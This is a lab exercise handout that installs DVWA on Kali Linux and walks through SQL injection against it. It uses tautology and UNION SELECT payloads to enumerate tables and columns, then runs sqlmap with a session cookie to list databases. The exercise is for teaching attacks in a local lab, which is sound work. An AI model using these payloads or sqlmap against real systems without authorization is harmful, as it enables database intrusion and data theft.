

Lab 5. Study SQL injection and perform SQL injection using DVWA.

Setup DVWA

Step 1: Install DVWA

1. Open a terminal in Kali Linux.
2. Install Apache and PHP:
3. `sudo apt update`
4. `sudo apt install apache2 php php-mysql unzip`
5. Download DVWA:
6. `git clone https://github.com/digininja/DVWA.git`
7. Move DVWA to the web server root directory:
8. `sudo mv DVWA /var/www/html/`
9. Set appropriate permissions:
10. `sudo chown -R www-data:www-data /var/www/html/DVWA`
11. `sudo chmod -R 755 /var/www/html/DVWA`
12. Create a database for DVWA:
 - Start MySQL:
 - `sudo service mysql start`
 - Log in to MySQL:
 - `mysql -u root -p`
 - Execute the following commands in MySQL:
 - `CREATE DATABASE dvwa;`
 - `CREATE USER 'dvwauser'@'localhost' IDENTIFIED BY 'password';`
 - `GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwauser'@'localhost';`
 - `FLUSH PRIVILEGES;`
 - `EXIT;`
13. Configure DVWA:
 - Edit the `config.inc.php` file in DVWA:
 - `sudo nano /var/www/html/DVWA/config/config.inc.php`
 - Update the database credentials:
 - `$_DVWA = array();`
 - `$_DVWA['db_server'] = '127.0.0.1';`

- `$_DVWA['db_database'] = 'dvwa';`
- `$_DVWA['db_user'] = 'dvwauser';`
- `$_DVWA['db_password'] = 'password';`

14. Start Apache:

15. `sudo service apache2 start`

Performing SQL Injection

Step 1: Access DVWA

1. Open a browser and navigate to:
2. `http://localhost/DVWA`
3. Log in using the default credentials:
 - Username: admin
 - Password: password
4. Set the Security Level to Low in the DVWA Security tab.

Step 2: SQL Injection on Login Page

1. Navigate to the SQL Injection tab in DVWA.
2. Use the following SQL payload in the input box:
 - For example:
 - `' OR '1'='1' --`
 - Explanation:
 - `'` closes the SQL query.
 - `OR '1'='1'` always evaluates to true.
 - `--` comments out the rest of the query.
3. Click Submit and observe the results.
4. Capture the bypassed login or displayed data as a result of the injection.

Step 3: Extracting Data

1. Use an injection to fetch data:
2. `' UNION SELECT null, database() --`
 - Purpose: Displays the database name.
3. Further queries can be used to enumerate tables and columns:

4. ' UNION SELECT null, table_name FROM information_schema.tables --
5. ' UNION SELECT null, column_name FROM information_schema.columns WHERE table_name='users' --
6. Show the database name or extracted data.

Step 4: Automating with SQLMap

1. Install SQLMap:
2. `sudo apt install sqlmap`
3. Use SQLMap to automate the injection:
4. `sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit"`
`--cookie="PHPSESSID=<session_id>; security=low" --dbs`
 - Replace <session_id> with your session cookie.
5. Display SQLMap extracting database information.